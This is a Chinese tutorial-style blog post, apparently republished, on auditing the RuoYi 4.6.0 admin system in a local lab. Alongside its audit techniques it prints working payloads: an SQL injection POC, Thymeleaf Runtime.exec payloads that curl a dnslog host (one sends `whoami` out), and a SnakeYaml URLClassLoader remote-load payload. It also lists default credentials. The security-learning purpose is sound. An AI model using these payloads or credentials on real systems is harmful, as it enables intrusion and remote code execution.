文章目录
- 前言
- 一、本地项目部署
- 二、漏洞挖掘
-
- 1.整理思路
- 2.shiro反序列化漏洞
- 2.SQL注入
- 3.Thymeleaf模板注入
- 4.SnakeYaml 反序列化
- 5.Druid未授权访问
- 6.swagger-ui.html接口文档
- 三、总结
-
- 1.Fastjson反序列化
- 2.shiro反序列化
- 3.SQL注入
- 4.SnakeYaml反序列化
前言
若依是一套全部开源的快速开发平台,在日常工作中也会遇到很多若依搭建的网站,或者基于若依二开的网站,因为是以学习为目的,所以选择低版本下载,未选择最高版本,本文搭建版本是4.6.0版本,源码可以访问链接下载:https://gitee.com/y_project/RuoYi/releases。
一、本地项目部署
1)项目下载完解压后为下图所示:
2)因为该框架采用了SpringBoot,所以只需要导入数据库即可。本文项目使用phpstudy开启mysql5。
3)连接数据库。
4)创建ruoyi数据库并使用。
5)将sql文件夹中的quartz.sql和ry_20201214.sql两个文件导入到ruoyi数据库中,注意使用正斜杠。
6)使用IDEA打开若依系统,等待Maven自动加载依赖项,如果pom.xml文件有报错,依赖未成功安装,可如下图查看maven配置如何,可能是没有配置好maven环境。
7)项目结构如下所示:
8)若依模块简述。
模块名称 | 简述 |
---|---|
ruoyi-admin | 启动模块,启动配置在resource的yml下 |
ruoyi-framework | 主题框架模块,框架怎么运行的仔细看看,这个是核心重点 |
ruoyi-system | 业务模块,几乎所有业务都在这里 |
ruoyi-quartz | 定时任务模块,跑的定时任务基本都在这里 |
ruoyi-generator | 基础公共表的操作,相当于基础表和基础业务存放位置 |
ruoyi-common | 公共代码模块,list转set什么的一般放这里,自己不要瞎写方法,公共的都放这里 |
9)配置若依系统。
10)在application.yml中路径可自己修改,端口也是可以修改,嫌麻烦默认也可以。
11)在application-druid.yml中配置数据库账号密码还有把3306后边的 ry 改成 ruoyi,因为刚刚创建数据库的名字是ruoyi。
12)启动项目。
13)访问项目,本文项目地址为:http://127.0.0.1:25001/login,若依系统的账号密码为:admin/admin123 或 ry/admin123,若依系统默认是记住账号口令,所以搭建完成时最好记得删除,否则可能就会有人报漏洞了!!!
二、漏洞挖掘
1.整理思路
由于是菜鸟,所以目前对采用sprintboot框架审计的思路是,先看pom.xml文件看看是否存在有漏洞的组件,然后可以再去系统的功能点做黑盒测试,在看代码片段。
2.shiro反序列化漏洞
1)发现shiro组件,shiro常见的两个漏洞:一个是默认秘钥,一个是权限绕过。
AES秘钥在1.2.4版本及之前版本是硬编码在代码里的,可以通过GitHub开源的shiro代码获取AES密钥。1.2.5版本以后shiro提供了AES密钥的随机生成代码,但是如果仅进行shiro的版本升级,AES密钥仍硬编码在代码中,仍然会存在反序列化风险。
权限绕过影响的版本是小于1.8.0,本文中shiro组件版本为:1.7.0。实际工作中有的开发可能就会不自己生成key,而使用随机生成的,所以可用反序列化工具爆破一波默认密钥,本文搭建的环境没有更改所以存在默认key。
2)代码审计中可以全局搜索:setCipherKey,因为 setCipherKey 方法是修改密钥的。查看是否存在,存在就说明有默认key,本次项目存在。
3)如果想要查看具体的密钥值,可在全局搜索:cipherKey,就会发现具体的密钥值是什么。
4)权限绕过漏洞在代码审计中,可在项目中找到shiro的配置文件,然后找到shiro的过滤器配置文件。
5)shiro过滤器中,anon表示匿名访问也就是无需认证即可访问,authc表示需要认证才可访问,所以我们可以看下有没有authc,是否可能存在未授权访问的问题。
6)可以发现当前项目中设置了所有请求需要认证,所以不存在权限绕过漏洞,关于URL的匹配规则可看总结中的第二点。
2.SQL注入
1)漏洞点为系统管理中的角色管理的搜索功能,使用百度搜索的poc,发现注入点参数为:params[dataScope]。
POC:
pageSize=&pageNum=&orderByColumn=&isAsc=&roleName=&roleKey=&status=¶ms[beginTime]=¶ms[endTime]=¶ms[dataScope]=and
extractvalue(1,concat(0x7e,substring((select database()),1,32),0x7e))
2)通过网上的POC我们已知注入点了,在审计一下看看。SpringBoot中的SQL注入一般都是因为使用了 $ 的原因。可以全局搜索 $ 并匹配 .xml 文件类型,快速查看是否存在SQL注入,发现前端多个位置存在这个注入点。
3)那就选择第一个先跟一下流程吧,现在是在resources中的SysDeptMapper.xml文件中。
4)找到 id 然后按住ctrl+左键进入到dao(mapper)层。
5)继续在 selectDeptList 上按住ctrl+左键往上,跟看谁调用的,会发现有四个选择第四个肯定不是了,从那来的,另外三个都在一个文件中,随便选择一个吧。
6)来到serveice层,根据注释和代码发现,第一处是查询部门数据,也知道是在部门管理的功能处
7)继续跟 selectDeptList 进入 controller 层,发现最终前端调用处为调用列表的相关功能,比如搜索,刷新等操作,路径为/system/dept/list,请求方式为post。
3.Thymeleaf模板注入
1)先复现一下漏洞,此漏洞需要登录,先用dnslog获取一个域名。
2)给payload编码一下,选URL编码。
${T (java.lang.Runtime).getRuntime().exec("curl mvu60v.dnslog.cn")}
4)这里需要多点几次,然后成功接到请求。由于是500界面没有回显,后来就尝试了一下dnslog外带,命令执行,结果发现不行。
dnslog外带命令:
${T (java.lang.Runtime).getRuntime().exec("curl `whoami`.mvu60v.dnslog.cn")}
4.SnakeYaml 反序列化
1)定时任务处存在RCE漏洞,可以反弹shell,先用dnslog验证一下,先获取一个dnslog的域名。
2)然后登录系统,系统监控—定时任务处,选择新增,dnslog域名换成自己获取的,其他随意填写,然后确认。
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://a85o5r.dnslog.cn/"]]]]')
3)然后选择更多操作—执行一次,查看dnslog是否有响应。
4)发现成功响应。
5)代码审计时正常查看所有的pom.xml文件,如果存在snakeyaml依赖包就可以尝试snakeyaml反序列化漏洞,本文可全局搜索:snakeyaml依赖包。
6)如果只是引用了snakeyaml包不能百分百保证存在反序列化漏洞,也可能在序列化时做了一些防护措施,比如把每个 !! 修饰过的类都转成了一个 TAG,这时可全局搜索查看是否有tag:yaml.org,2002:,没有就存在反序列化漏洞。一般SnakeYaml对Java对象进行序列化或反序列化都会出现如下所示格式,所以就全局搜索 yaml ,查看是否有类似下面格式的,可以发现不光有下面的格式还有yaml.dump和yaml().load()函数。
Yaml yaml = new Yaml();
7)点进去可以看到这里进行了序列化,并且全局搜索也没有tag:yaml.org,2002:,所以存在反序列化漏洞。
5.Druid未授权访问
1)若依系统内置了Druid,所以会有可能有未授权访问或者弱口令,未授权访问路径常见的有 /druid/,/prod-api/druid/,/api/druid/等,这是常见的,也可以直接扫一波,弱口令就是 ruoyi/123456 或者 admin/123456。
2)审计时可直接搜索druid,并查看路径位置。
6.swagger-ui.html接口文档
1)这个一般就是使用相关工具或者字典扫一下,然后try it out试试看,是否路径都做了鉴权,有没有信息泄露等。
2)点击try it out 然后构造参数之后,再点击execute执行,拼接路径。
3)造成信息泄露,获取账号密码。
4)审计的话就全局搜索:swagger-ui.html,存在的话看下路径然后访问下,看看有没有鉴权什么的。
三、总结
1.Fastjson反序列化
1)本文搭建的环境为:1.2.74,Fastjson <= 1.2.68 都是存在漏洞的,关于Fastjson v1.2.80 绕过的文章很少,所以就先放弃学习吧。
2)Fastjson 通过函数 parse
或者 parseObject
来完成字符串的反序列化操作,并且可以通过 @type
来指定反序列化的类型,,所以在遇见1.2.68以下版本时,可全局查找这两个关键函数。
2.shiro反序列化
1)简单梳理下基础内容,Apache Shiro是一个执行身份验证、授权、密码和会话管理的Java安全框架。
Shiro反序列化的目的是为了让浏览器或服务器重启后用户不丢失登录状态,因为Shiro 支持将持久化信息序列化,并且加密后可以保存在 Cookie 的 rememberMe 字段中,方便下次读取时进行解密再反序列化。
反序列化漏洞的原理是因为Shiro内置了一个默认且固定的加密 Key,可被攻击者通过伪造的rememberMe Cookie去触发反序列化漏洞,过程为:Cookie获取rememebrMe值->base64解码->AES解密->反序列。
在高版本中如果开发者没有手动设置密钥那么每次服务启动时都会随机生成一个密钥,本文搭建的环境就存在。
2)shiro中的url匹配规则为:
/admin | 只匹配固定的URL,比如 http://xxx.com/admin,只能匹配到 http://xxx.com/admin |
/admin? | 匹配一个字符,比如 http://xxx.com/admin?,将匹配“ /admin1”、“/admin2”,但不匹配“/admin” |
/* | 匹配零个或多个字符串,比如 http://xxx.com/admin/*”,将匹配 /admin/路径下的任意内容 ,但是不匹配多个路径,如 http://xxx.com/admin/1/2就匹配不到 |
/** | 匹配路径中的零个或多个路径 ,比如http://xxx.com/admin/**,将匹配/admin/下级的所有路径中的内容,http://xxx.com/admin/xxxx/asd |
3.SQL注入
1)${ }和#{ }的区别如下:
#{ } | 相当于jdbc中的preparedstatement,传入的字符串,需要赋值后使用,可以有效防止sql注入。 |
$ { } | 是输出变量的值,传入的变量,可直接拼接在sql中执行,无法防止sql注入。 |
就是 #{ } 传过来的参数带单引号的,而${ }传过来的参数不带单引号。
2)在SpringBoot框架中,通常流程是controller层接收前端请求然后调用service层,serveice层的业务逻辑去调用dao访问数据库做增删改查操作,dao在调用sources中的对应的.xml文件做具体的SQL语句,sql语句都是在.xml文件中写的,而不是在Java代码中直接利用connection连接数据库进行查询,这样层次更清晰,代码也更容易维护。因为具体的SQL语句都在.xml文件中,所以可以在.xml文件中搜索 $ 符号,快速寻找是否存在SQL注入漏洞。文章来源:https://www.toymoban.com/news/detail-462497.html
4.SnakeYaml反序列化
1)SnakeYaml是用来解析yaml的格式,可用于Java对象的序列化、反序列化。而若依后台管理系统使用了snakeyaml 的jar包,可以通过定时任务功能构造payload远程调用jar包,从而执行任意命令。
2)Yaml.dump():把yaml格式的数据序列化变为YAML字符串或者YAML流,Yaml.load()反序列化生成java对象。
3)!! 是用于强制类型转化,强制转换为!!后指定的类型,类似于fastjson中的@type用于指定反序列化的全类名。文章来源地址https://www.toymoban.com/news/detail-462497.html
到了这里,关于代码审计之若依系统的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!